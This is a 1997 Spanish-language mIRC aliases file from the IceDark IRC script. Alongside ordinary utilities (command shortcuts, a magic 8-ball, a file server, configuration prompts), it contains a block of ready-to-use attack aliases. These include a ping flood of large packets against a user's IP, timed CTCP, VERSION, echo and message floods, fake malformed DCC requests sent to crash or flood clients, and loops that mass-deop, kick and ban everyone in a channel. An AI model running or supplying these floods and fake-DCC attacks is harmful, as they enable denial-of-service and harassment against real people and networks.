home *** CD-ROM | disk | FTP | other *** search
/ CD Actual 16 / PC Actual CD 16.iso / cdactual / scripts / id1c / ID1C.ZIP / ICEDARK.ZIP / SYSTEM / ALIASES.ICE next >
Encoding:
INI File  |  1997-01-06  |  31.3 KB  |  672 lines
  1. [Aliases]
  2. n0=/es /echo $1 -s *2
  3. n1=/es2 /echo -s *1
  4. n2=/stop {
  5. n3=  splay stop
  6. n4=}
  7. n5=/pm //.raw -q privmsg *1
  8. n6=/t /.timer $+ $$1 off
  9. n7=/b /beep
  10. n8=/eslin /es 5 --------------------------------
  11. n9=/repite /say *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1 *1
  12. n10=/colores {
  13. n11=  es 1 ******** Lista de Colores ********
  14. n12=  es 1 1.- Color uno
  15. n13=  es 2 2.- Color dos
  16. n14=  es 3 3.- Color tres
  17. n15=  es 4 4.- Color cuatro
  18. n16=  es 5 5.- Color cinco
  19. n17=  es 6 6.- Color seis
  20. n18=  es 7 7.- Color siete
  21. n19=  es 8 8.- Color ocho
  22. n20=  es 9 9.- Color nueve
  23. n21=  es 10 10.- Color diez
  24. n22=  es 11 11.- Color once
  25. n23=  es 12 12.- Color doce
  26. n24=  es 13 13.- Color trece
  27. n25=  es 14 14.- Color catorce
  28. n26=  es 15 15.- Color quince
  29. n27=  es 1 **********************************
  30. n28=}
  31. n29=/CTsun //.CTCP $$1 ECHO Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü^Ü
  32. n30=/f2 {
  33. n31=  /.ignore -nti *!*@*
  34. n32=  /es 4 *** IGNORANDO TODO MENOS LOS MENSAJES PRIVADOS Y LOS CANALES ***
  35. n33=}
  36. n34=/f3 {
  37. n35=  /.ignore -pcnti *!*@*
  38. n36=  /es 4 *** IGNORANDO TODO!!! ***
  39. n37=}
  40. n38=/f4 {
  41. n39=  /.ignore -r *!*@*
  42. n40=  /es 4 *** IGNORAR DESACTIVADO ***
  43. n41=}
  44. n42=/go /goto $$1
  45. n43=/op /mode # +ooo $$1 $2 $3
  46. n44=/dop /mode # -ooo $$1 $2 $3
  47. n45=/j /join #$$1
  48. n46=/n /names #$$1
  49. n47=/w /whois $$1
  50. n48=/k /kick # $$1
  51. n49=/q /query $$1
  52. n50=/send /dcc send $1 $2
  53. n51=/chat /dcc chat $1
  54. n52=/ping /ctcp $$1 ping
  55. n53=/Bola8 {
  56. n54=  /set %porque2 por que
  57. n55=  /set %porque3 por quΘ
  58. n56=  if (*1 == $null ) { //es 3 [-Bola 8-] -> Preguntame algo! | halt }
  59. n57=  if (porque isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\porque.txt ] | halt }
  60. n58=  if (%porque2 isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\porque.txt ] | halt }
  61. n59=  if (%porque3 isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\porque.txt ] | halt }
  62. n60=  if (cuando isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\cuando.txt ] | halt }
  63. n61=  if (donde isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\donde.txt ] | halt }
  64. n62=  if (cuantos isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\cuantos.txt ] | halt }
  65. n63=  if (cuantas isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\cuantas.txt ] | halt }
  66. n64=  if (quien isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\quien.txt ] | halt }
  67. n65=  if (que isin $lower(*1)) { //es 3 [-Bola 8-] -> $read [ %dice $+ bola\que.txt ] | halt }
  68. n66=  if (gracias isin $lower(*1)) { /es 3 [-Bola 8-] -> De nada :) | halt }
  69. n67=  //es 3 [-Bola 8-] -> $read [ %dice $+ bola\otros.txt ]
  70. n68=}
  71. n69=/Bola {
  72. n70=  //.set %BTextoA $readini [ %dice $+ config\bola.ice ] BOLA Texto
  73. n71=  if (%BTextoA == *3 ) { //msg $2 [-Bola 8-] $1:Preguntame algo! | halt }
  74. n72=  if (porque isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\porque.txt ] | halt }
  75. n73=  if (por $+ que isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\porque.txt ] | halt }
  76. n74=  if (cuando isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\cuando.txt ] | halt }
  77. n75=  if (donde isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\donde.txt ] | halt }
  78. n76=  if (cuantas isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\cuantas.txt ] | halt }
  79. n77=  if (cuantos isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\cuantos.txt ] | halt }
  80. n78=  if (quien isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\quien.txt ] | halt }
  81. n79=  if (que isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : $read [ %dice $+ bola\que.txt ] | halt }
  82. n80=  if (gracias isin $lower(*3)) { //msg $2 [-Bola 8-] $1 : De nada :) | halt }
  83. n81=  //msg $2 [-Bola 8-] $1-> $read [ %dice $+ bola\otros.txt ]
  84. n82=}
  85. n83=/CBola {
  86. n84=  //.writeini [ %dice $+ config\bola.ice ] BOLA Texto $?="Texto con el que se activara :" $+ *
  87. n85=  /es 3 Puedes introducir:
  88. n86=  /es 5 #Canalquequieras--- Se activa en el canal especificado
  89. n87=  /es 5 #Canalquequieras,#otrocanal--- Se activa en los canales especificados (separados por comas)
  90. n88=  /es 5 1 --- Para que se active en cualquier canal
  91. n89=  //.writeini [ %dice $+ config\bola.ice ] BOLA Donde $?="Donde se activara :"
  92. n90=}
  93. n91=/VBOLA {
  94. n92=  //.set %BTexto $readini [ %dice $+ config\bola.ice ] BOLA Texto
  95. n93=  //.set %BTex2 $len(%BTexto) - 1
  96. n94=  //.set %BTex $left(%BTex2,%BTexto)
  97. n95=  //.set %BDonde $readini [ %dice $+ config\bola.ice ] BOLA Donde
  98. n96=  if (%BDonde == 1) .set %BDon Cualquier canal
  99. n97=  if (%BDonde != 1) .set %BDon %BDonde
  100. n98=  /eslin
  101. n99=  /es 6 Configuracion de la Bola 8 (La Bola Mßgica)
  102. n100=  //es 4 Texto con el que se activa --- %BTex
  103. n101=  //es 4 Donde se activa --- %BDon
  104. n102=  /eslin
  105. n103=}
  106. n104=/ABOLA {
  107. n105=  //.set %BTextoA $readini [ %dice $+ config\bola.ice ] BOLA Texto
  108. n106=  //.set %BDondeA $readini [ %dice $+ config\bola.ice ] BOLA Donde
  109. n107=  if (%BDondeA == 1) .enable #bola1
  110. n108=  if (%BDondeA != 1) .enable #bola0
  111. n109=  /es 3 *** Bola Mßgica Activada ***
  112. n110=}
  113. n111=/Contar //es 3 Hay $nick(0,#) personas en este canal. ( $opnick(0,#) con op y $nopnick(0,#) sin op ) [-IceDark-]
  114. n112=/Contar2 //me informa : Hay $nick(0,#) personas en este canal. ( $opnick(0,#) con op y $nopnick(0,#) sin op ) [-IceDark-]
  115. n113=/DEOPTOD {
  116. n114=  //.set %D 1
  117. n115=  :next
  118. n116=  //.set %Dnick $nick(%D,$$1)
  119. n117=  if %Dnick == $null goto done
  120. n118=  if %Dnick == $me { inc %D | goto next }
  121. n119=  if %Dnick isop $$1 mode $$1 -o %Dnick
  122. n120=  inc %D
  123. n121=  goto next
  124. n122=  :done
  125. n123=}
  126. n124=/KICKTOD {
  127. n125=  //.set %K 1
  128. n126=  :next
  129. n127=  //.set %Knick $nick(%K,$$1)
  130. n128=  if %Knick == $null goto done
  131. n129=  if %Knick == $me { inc %K | goto next }
  132. n130=  kick $$1 %Knick *2
  133. n131=  inc %K
  134. n132=  goto next
  135. n133=  :done
  136. n134=}
  137. n135=/BANTOD {
  138. n136=  //.set %K 1
  139. n137=  :next
  140. n138=  //.set %Knick $nick(%K,$$1)
  141. n139=  if %Knick == $null goto done
  142. n140=  if %Knick == $me { inc %K | goto next }
  143. n141=  if %Knick isop $$1 mode $$1 -o %Knick
  144. n142=  ban $$1 %Knick 2
  145. n143=  inc %K
  146. n144=  goto next
  147. n145=  :done
  148. n146=}
  149. n147=/BKICKTOD {
  150. n148=  //.set %K 1
  151. n149=  :next
  152. n150=  //.set %Knick $nick(%K,$$1)
  153. n151=  if %Knick == $null goto done
  154. n152=  if %Knick == $me { inc %K | goto next }
  155. n153=  if %Knick isop $$1 mode $$1 -o %Knick
  156. n154=  ban $$1 %Knick 2
  157. n155=  kick $$1 %Knick *2
  158. n156=  inc %K
  159. n157=  goto next
  160. n158=  :done
  161. n159=}
  162. n160=/OPTOD {
  163. n161=  //.set %O 1
  164. n162=  :next
  165. n163=  //.set %Onick $nick(%O,$$1)
  166. n164=  if %Onick == $null goto done
  167. n165=  if %Onick == $me { inc %O | goto next }
  168. n166=  if %Onick isop $$1 { inc %O | goto next }
  169. n167=  mode $$1 +o %Onick
  170. n168=  .inc %O
  171. n169=  goto next
  172. n170=  :done
  173. n171=}
  174. n172=/KBAN {
  175. n173=  if $me isop $$1 && $$2 isop $$1 /mode $$1 -o $$2
  176. n174=  if $me isop $$1 { /ban $$1 $$2 2 | /kick $$1 $$2 *3 }
  177. n175=}
  178. n176=/SERVIDOR {
  179. n177=  /.set %fservefile c:\legend\cfg\fserve.ice
  180. n178=  //.writeini [ %fservefile ] FSERVE Gets $?="Maximos gets"
  181. n179=  //.writeini [ %fservefile ] FSERVE Home $?="Directorio del File Server :"
  182. n180=  //.writeini [ %fservefile ] FSERVE Texto $?="Texto con el que se activara :"
  183. n181=  /es 3 Puede introducir:
  184. n182=  /es 5 #Canalquequiera--- Se activa en el canal especificado
  185. n183=  /es 5 #Canalquequiera,#otrocanal--- Se activa en los canales especificados (separados por comas)
  186. n184=  /es 5 1 .- Para que se active en cualquier canal
  187. n185=  /es 5 2 .- Para que se active en los mensajes privados
  188. n186=  /es 5 3 .- Para que se active en cualquier canal y en mensajes privados
  189. n187=  //.writeini [ %fservefile ] FSERVE Donde $?="Donde se activara :"
  190. n188=  //.writeini [ %fservefile ] FSERVE Bienve $?="Fichero con mensaje de bienvenida (opcional):"
  191. n189=}
  192. n190=/FSCONF {
  193. n191=  /.set %fservefile c:\legend\cfg\fserve.ice
  194. n192=  //.set %Gets $readini [ %fservefile ] FServe Gets
  195. n193=  //.set %Direc $readini [ %fservefile ] FServe Home
  196. n194=  //.set %Bienve $readini [ %fservefile ] FServe Bienve
  197. n195=  //.set %Texto $readini [ %fservefile ] Fserve Texto
  198. n196=  //.set %Donde $readini [ %fservefile ] Fserve Donde
  199. n197=  if (%Donde == 1) { .set %Don Cualquier canal }
  200. n198=  if (%Donde == 2) { .set %Don Mensajes privados }
  201. n199=  if (%Donde == 3) { .set %Don Mensajes privados o cualquier canal }
  202. n200=  if (%Donde != 1) && (%Donde != 2) && (%Donde != 3) { .set %Don %Donde }
  203. n201=  /eslin
  204. n202=  /es 6 Configuracion del File Server :
  205. n203=  //es 4 Maximos gets --- %Gets
  206. n204=  //es 4 Directorio del File Server --- %Direc
  207. n205=  //es 4 Fichero con mensaje de bienvenida --- %Bienve
  208. n206=  //es 4 Texto con el que se activa --- %Texto
  209. n207=  //es 4 Donde se activa --- %Don
  210. n208=  /eslin
  211. n209=}
  212. n210=/FSACTIV {
  213. n211=  /.set %fservefile c:\legend\cfg\fserve.ice
  214. n212=  //.set %donde $readini [ %fservefile ] FSERVE Donde
  215. n213=  //.set %fsdona $readini [ %fservefile ] FSERVE Donde
  216. n214=  //.set %fsgetsa $readini [ %fservefile ] FSERVE Gets
  217. n215=  //.set %fstextoa $readini [ %fservefile ] FSERVE Texto
  218. n216=  //.set %fsbienvea $readini [ %fservefile ] FSERVE Bienve
  219. n217=  //.set %fshomea $readini [ %fservefile ] FSERVE Home
  220. n218=  .disable #fser0 #fser1 #fser2 #fser3
  221. n219=  if (%donde == 1) .enable #fser1
  222. n220=  if (%donde == 2) .enable #fser2
  223. n221=  if (%donde == 3) .enable #fser3
  224. n222=  if (%donde != 1) && (%donde != 2) && (%donde != 3) .enable #fser0
  225. n223=  /es 3 *** Files Server Activado ***
  226. n224=}
  227. n225=/PFLOOD {
  228. n226=  //.run ping.exe -l $$?="Tama±o del paquete (20000 recomendado):" -t $$?="IP del nick a floodear" -w60
  229. n227=}
  230. n228=/PHELADO {
  231. n229=  //.set %mensa $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z)
  232. n230=  //.ignore -nu95 $$1 2
  233. n231=  //es 4 --- Ignorando NOTICEs de $$1 mientras dure el ataque (95 segundos)---
  234. n232=  //es 4 --- Atacando a $$1 con un  PU╤O HELADO ---
  235. n233=  /timer310 10 9 /phel $$1
  236. n234=}
  237. n235=/phel {
  238. n236=  //CTsun $$1
  239. n237=  //.msg $$1 %mensa
  240. n238=  /pm $$1 :DCC CHAT CHAT 4723874823 6667
  241. n239=}
  242. n240=/THIELO {
  243. n241=  //.set %mensa $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z)
  244. n242=  //.ignore -nu95 $$1 2
  245. n243=  //es 4 --- Ignorando NOTICEs de $$1 mientras dure el ataque (95 segundos)---
  246. n244=  //es 4 --- Atacando a $$1 con una  TORMENTA DE HIELO ---
  247. n245=  /.timer311 10 9 /thel $$1
  248. n246=}
  249. n247=/thel {
  250. n248=  //.CTCP $$1 PING
  251. n249=  /pm $$1 :DCC CHAT CHAT 4723874823 6667
  252. n250=  //.CTCP $$1 VERSION
  253. n251=}
  254. n252=/FAKES {
  255. n253=  //es 4 --- Atacando a $$1 con FAKES ---
  256. n254=  /pm $$1 :DCC CHAT CHAT 4723874823 6667
  257. n255=  /pm $$1 :DCC CHAT CHAT 4723543253 6667
  258. n256=  /pm $$1 :DCC CHAT CHAT 5584325432 6667
  259. n257=  /pm $$1 :DCC SEND SEND 5584325432 6667
  260. n258=  /pm $$1 :DCC SEND SEND 4482318942 6667
  261. n259=  /pm $$1 :DCC SEND FAKE 443902184302423141
  262. n260=  /pm $$1 :DCC SEND FAKE 483219843219084310
  263. n261=  //es 4 --- Ataque a $$1 con FAKES terminado ---
  264. n262=}
  265. n263=/MFLOOD {
  266. n264=  //.set %mensa $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z)
  267. n265=  //.set %mensa2  %mensa %mensa %mensa %mensa
  268. n266=  .timer300 $?="Introduce el n·mero de intensidad (20 recomendado)" 3 //.msg $$1 %mensa2
  269. n267=}
  270. n268=/CFLOOD {
  271. n269=  //.set %intensidad $?="Intensidad (20 recomendado) :"
  272. n270=  %tiemp = %intensidad * 3
  273. n271=  %tiempo = %tiemp + 3
  274. n272=  //.set %mensa $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z)
  275. n273=  //.ignore -nu $+ %tiempo $$1 2
  276. n274=  //.timer320 %intensidad 3 //.CTCP $$1 %mensa
  277. n275=}
  278. n276=/CPFLOOD {
  279. n277=  //.set %intensidad $?="Intensidad (20 recomendado) :"
  280. n278=  %tiemp = %intensidad * 3
  281. n279=  %tiempo = %tiemp + 3
  282. n280=  //.ignore -nu $+ %tiempo $$1 2
  283. n281=  //es 4 --- Ignorando CTCPs de $$1 mientras dure el ataque ---
  284. n282=  //es 4 --- Atacando a $$1 con un CTCP PING Flood ---
  285. n283=  //.timer321 %intensidad 3 //.CTCP $$1 PING
  286. n284=}
  287. n285=/CVFLOOD {
  288. n286=  //.set %intensidad $?="Intensidad (10 recomendado) :"
  289. n287=  %tiemp = %intensidad * 3
  290. n288=  %tiempo = %tiemp + 3
  291. n289=  //.ignore -nu $+ %tiempo $$1 2
  292. n290=  //es 4 --- Ignorando NOTICEs de $$1 mientras dure el ataque ---
  293. n291=  //es 4 --- Atacando a $$1 con un CTCP VERSION Flood ---
  294. n292=  //.timer322 %intensidad 3 //.CTCP $$1 VERSION
  295. n293=}
  296. n294=/VKILLER {
  297. n295=  //.set %intensidad $?="Intensidad (10 recomendado) :"
  298. n296=  %tiemp = %intensidad * 3
  299. n297=  %tiempo = %tiemp + 3
  300. n298=  //.ignore -nu $+ %tiempo $$1 2
  301. n299=  //es 4 --- Ignorando NOTICEs de $$1 mientras dure el ataque ---
  302. n300=  //es 4 --- Atacando a $$1 con un VIRTUAL SENTINEL KILLER Flood ---
  303. n301=  //.timer322 %intensidad 3 /VK $$1
  304. n302=}
  305. n303=/VK {
  306. n304=  //.CTCP $$1 VERSION
  307. n305=  //.CTCP $$1 ICEDARK JE JE JE, NO TIENES PROTECCI╙N CONTRA ESTO [-IceDark-]
  308. n306=}
  309. n307=/CEFLOOD {
  310. n308=  //.set %intensidad $?="Intensidad (10 recomendado) :"
  311. n309=  %tiemp = %intensidad * 3
  312. n310=  %tiempo = %tiemp + 3
  313. n311=  //.ignore -nu $+ %tiempo $$1 2
  314. n312=  //es 4 --- Ignorando NOTICEs de $$1 mientras dure el ataque ---
  315. n313=  //es 4 --- Atacando a $$1 con un CTCP Echo Tsunami Flood ---
  316. n314=  //.timer323 %intensidad 3 //.CTsun $$1
  317. n315=}
  318. n316=/MSFLOOD {
  319. n317=  //.ignore -pnu42 $$1 2
  320. n318=  //es 4 --- Ignorando mensajes privados y noticias de $$1 mientras dure el Ataque ---
  321. n319=  //es 4 --- Atacando a $$1 con un Mensaje Tsunami Flood ---
  322. n320=  //.timer326 10 4 //.msg $$1 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  323. n321=}
  324. n322=/CDSFLOOD {
  325. n323=  //.set %intensidad $?="Intensidad (20 recomendado) :"
  326. n324=  %tiemp = %intensidad * 3
  327. n325=  %tiempo = %tiemp + 3
  328. n326=  //.ignore -nu $+ %tiempo $$1 2
  329. n327=  //es 4 --- Ignorando NOTICEs de $$1 mientras dure el ataque ---
  330. n328=  //es 4 --- Atacando $$1 con un FAKE CTCP DCC SEND
  331. n329=  //.timer325 %intensidad 4 //.CTCP $$1 DCC SEND 123456.666
  332. n330=}
  333. n331=/MIRCDCC {
  334. n332=  //es 4 --- Atacando a $$1 con 10 FAKES DCC --- Duraci≤n del ataque : 30 Seg.
  335. n333=  //.timer327 10 3 //pm $$1 :DCC send IceDark 3353362454 19 66999 $+ 
  336. n334=}
  337. n335=/CF {
  338. n336=  //.writeini [ %dice $+ config\files.ice ] Fichero $+ [ $$1 ] Texto $$?="Fichero [ $$1 ] - Introduce el texto"
  339. n337=  //.writeini [ %dice $+ config\files.ice ] Fichero $+ [ $$1 ] Fichero $$?="Fichero [ $$1 ] - Introduce el fichero (incluido el path)"
  340. n338=  //.writeini [ %dice $+ config\files.ice ] Fichero $+ [ $$1 ] Canal $$?="Fichero [ $$1 ] - Introduce el canal"
  341. n339=}
  342. n340=/VF {
  343. n341=  /eslin
  344. n342=  /es 3 Configuracion del fichero [ $$1 ] :
  345. n343=  //es 4 Texto : $readini %dice $+ config\files.ice Fichero $+ [ $$1 ] Texto
  346. n344=  //es 4 Fichero : $readini %dice $+ config\files.ice Fichero $+ [ $$1 ] Fichero
  347. n345=  //es 4 Canal : $readini %dice $+ config\files.ice Fichero $+ [ $$1 ] Canal
  348. n346=  /eslin
  349. n347=}
  350. n348=/AF {
  351. n349=  //set [ %ftexto $+ [ $$1 ] ] $readini [ %dice $+ config\files.ice ] Fichero $+ [ $$1 ] Texto
  352. n350=  //set [ %fichero $+ [ $$1 ] ] $readini [ %dice $+ config\files.ice ] Fichero $+ [ $$1 ] Fichero
  353. n351=  //set [ %fcanal $+ [ $$1 ] ] $readini [ %dice $+ config\files.ice ] Fichero $+ [ $$1 ] Canal
  354. n352=  //.enable #fichero $+ [ $$1 ]
  355. n353=}
  356. n354=/CONF {
  357. n355=  /es 5 --------------------------------
  358. n356=  /es 5 CONFIGURACION
  359. n357=  /es 5 Esta configuraci≤n se cargarß cada vez que conectes con un servidor.
  360. n358=  /es 5 Debes introducir S o N (mayusculas) para contestar las preguntas. Cualquier cosa distinta de S serß interpretada como un NO.
  361. n359=  /es 5 A lo que no sepas contestar, es mejor elegir N. Excepto las protecciones, que es recomendable activarlas todas.
  362. n360=  .set %Csplit $?="Avisar de posibles Splits?"
  363. n361=  .set %CGracias $?="Dar las gracias cuando te opean?"
  364. n362=  .set %CQueja $?="Quejarte cuando te deopean?"
  365. n363=  .set %DGracias $?="Dar las gracias al recibir un fichero por DCC?"
  366. n364=  .set %CTOFlood $?="Activar protecci≤n contra Topic Flood?"
  367. n365=  .set %CTFlood $?="Activar protecci≤n contra Text Flood?"
  368. n366=  .set %CNFlood $?="Activar protecci≤n contra Nick Flood?"
  369. n367=  .set %CAFlood $?="Activar protecci≤n contra Action Flood?"
  370. n368=  .set %CIFlood $?="Activar protecci≤n contra Invite Flood?"
  371. n369=  .set %CNOFlood $?="Activar protecci≤n contra Notice Flood?"
  372. n370=  .set %CCFlood $?="Activar protecci≤n contra CTCP Flood?"
  373. n371=  .set %CJPFlood $?="Activar protecci≤n contra JOIN-PART?"
  374. n372=  .set %CBan $?="Activar protecci≤n contra BAN?"
  375. n373=  .set %CAUTOJOIN $?="Activar AUTO-JOIN?"
  376. n374=  .set %CFServe $?="Activar Files Server al entrar?"
  377. n375=  .set %CFichero1 $?="Activar Fichero 1?"
  378. n376=  .set %CFichero2 $?="Activar Fichero 2?"
  379. n377=  .set %CFichero3 $?="Activar Fichero 3?"
  380. n378=  .set %CBola $?="Activar bola mßgica?"
  381. n379=  .set %CGrab $?="Activar grabadora de direcciones?"
  382. n380=  .set %CMusica $?="Activar m·sica al conectar?"
  383. n381=  if ( %CMusica == S ) { .set %CMFichero $$dir="Selecciona el fichero de m·sica" *.mid }
  384. n382=  .writeini %configfile PROTEC TOPIC %CTOFlood
  385. n383=  .writeini %configfile PROTEC TEXT %CTFlood
  386. n384=  .writeini %configfile PROTEC NICK %CNFlood
  387. n385=  .writeini %configfile PROTEC ACTION %CAFlood
  388. n386=  .writeini %configfile PROTEC INVITE %CIFlood
  389. n387=  .writeini %configfile PROTEC NOTICE %CNOFlood
  390. n388=  .writeini %configfile PROTEC CTCP %CCFlood
  391. n389=  .writeini %configfile PROTEC JOINPART %CJPFlood
  392. n390=  .writeini %configfile PROTEC BAN %CBan
  393. n391=  .writeini %configfile FICHEROS FSERVE %CFServe
  394. n392=  .writeini %configfile FICHEROS FICHERO1 %CFichero1
  395. n393=  .writeini %configfile FICHEROS FICHERO2 %CFichero2
  396. n394=  .writeini %configfile FICHEROS FICHERO3 %CFichero3
  397. n395=  .writeini %configfile VARIOS GRACIASOP %CGracias
  398. n396=  .writeini %configfile VARIOS GRACIASDCC %DGracias
  399. n397=  .writeini %configfile VARIOS QUEJAOP %CQueja
  400. n398=  .writeini %configfile VARIOS SPLIT %Csplit
  401. n399=  .writeini %configfile VARIOS BOLA %CBola
  402. n400=  .writeini %configfile VARIOS GRAB %CGrab
  403. n401=  .writeini %configfile MUSICA TOCAR %CMusica
  404. n402=  .writeini %configfile MUSICA FICHERO %CMFichero
  405. n403=  .writeini %configfile VARIOS AUTOJOIN %CAUTOJOIN
  406. n404=  /es 3 *** CONFIGURACION SALVADA ***
  407. n405=}
  408. n406=/CONFVER {
  409. n407=  /eslin
  410. n408=  /es 5 CONFIGURACION
  411. n409=  /es 5 Esta configuraci≤n se cargarß cada vez que conectes con un servidor.
  412. n410=  /eslin
  413. n411=  /es 6 Protecci≤n contra Topic Flood : $readini %configfile PROTEC TOPIC
  414. n412=  /es 6 Protecci≤n contra Text Flood : $readini %configfile PROTEC TEXT
  415. n413=  /es 6 Protecci≤n contra Nick Flood : $readini %configfile PROTEC NICK
  416. n414=  /es 6 Protecci≤n contra Action Flood : $readini %configfile PROTEC ACTION
  417. n415=  /es 6 Protecci≤n contra Invite Flood : $readini %configfile PROTEC INVITE
  418. n416=  /es 6 Protecci≤n contra Notice Flood : $readini %configfile PROTEC NOTICE
  419. n417=  /es 6 Protecci≤n contra CTCP Flood : $readini %configfile PROTEC CTCP
  420. n418=  /es 6 Protecci≤n contra JOIN-PART Flood : $readini %configfile PROTEC JOINPART
  421. n419=  /es 6 Protecci≤n contra BAN : $readini %configfile PROTEC BAN
  422. n420=  /es 3 Activar Files Server al entrar : $readini %configfile FICHEROS FSERVE
  423. n421=  /es 3 Activar Fichero 1 : $readini %configfile FICHEROS FICHERO1
  424. n422=  /es 3 Activar Fichero 2 : $readini %configfile FICHEROS FICHERO2
  425. n423=  /es 3 Activar Fichero 3 : $readini %configfile FICHEROS FICHERO3
  426. n424=  /es 2 Dar las gracias cuando te opean : $readini %configfile VARIOS GRACIASOP
  427. n425=  /es 2 Dar las gracias al recibir un fichero por DCC : $readini %configfile VARIOS GRACIASDCC
  428. n426=  /es 2 Quejarte cuando te deopean : $readini %configfile VARIOS QUEJAOP
  429. n427=  /es 2 Avisar de posibles Splits : $readini %configfile VARIOS SPLIT
  430. n428=  /es 2 Grabadora de direcciones : $readini %configfile VARIOS GRAB
  431. n429=  /es 2 Autojoin : $readini %configfile VARIOS AUTOJOIN
  432. n430=  /es 2 Bola Mßgica : $readini %configfile VARIOS BOLA
  433. n431=  //.set %CMusica $readini %configfile MUSICA TOCAR
  434. n432=  /es 2 M·sica al conectar : %CMusica
  435. n433=  if ( %CMusica == S ) { /es 2 Fichero de m·sica : $readini %configfile MUSICA FICHERO }
  436. n434=  /es 5 ---------------------------------------------------
  437. n435=}
  438. n436=/ACONF {
  439. n437=  .set %Csplit $readini %configfile VARIOS SPLIT
  440. n438=  .set %CGracias $readini %configfile VARIOS GRACIASOP
  441. n439=  .set %CQueja $readini %configfile VARIOS QUEJAOP
  442. n440=  .set %DGracias $readini %configfile VARIOS GRACIASDCC
  443. n441=  .set %CTFlood $readini %configfile PROTEC TEXT
  444. n442=  .set %CTOFlood $readini %configfile PROTEC TOPIC
  445. n443=  .set %CNFlood $readini %configfile PROTEC NICK
  446. n444=  .set %CAFlood $readini %configfile PROTEC ACTION
  447. n445=  .set %CIFlood $readini %configfile PROTEC INVITE
  448. n446=  .set %NOFlood $readini %configfile PROTEC NOTICE
  449. n447=  .set %CCFlood $readini %configfile PROTEC CTCP
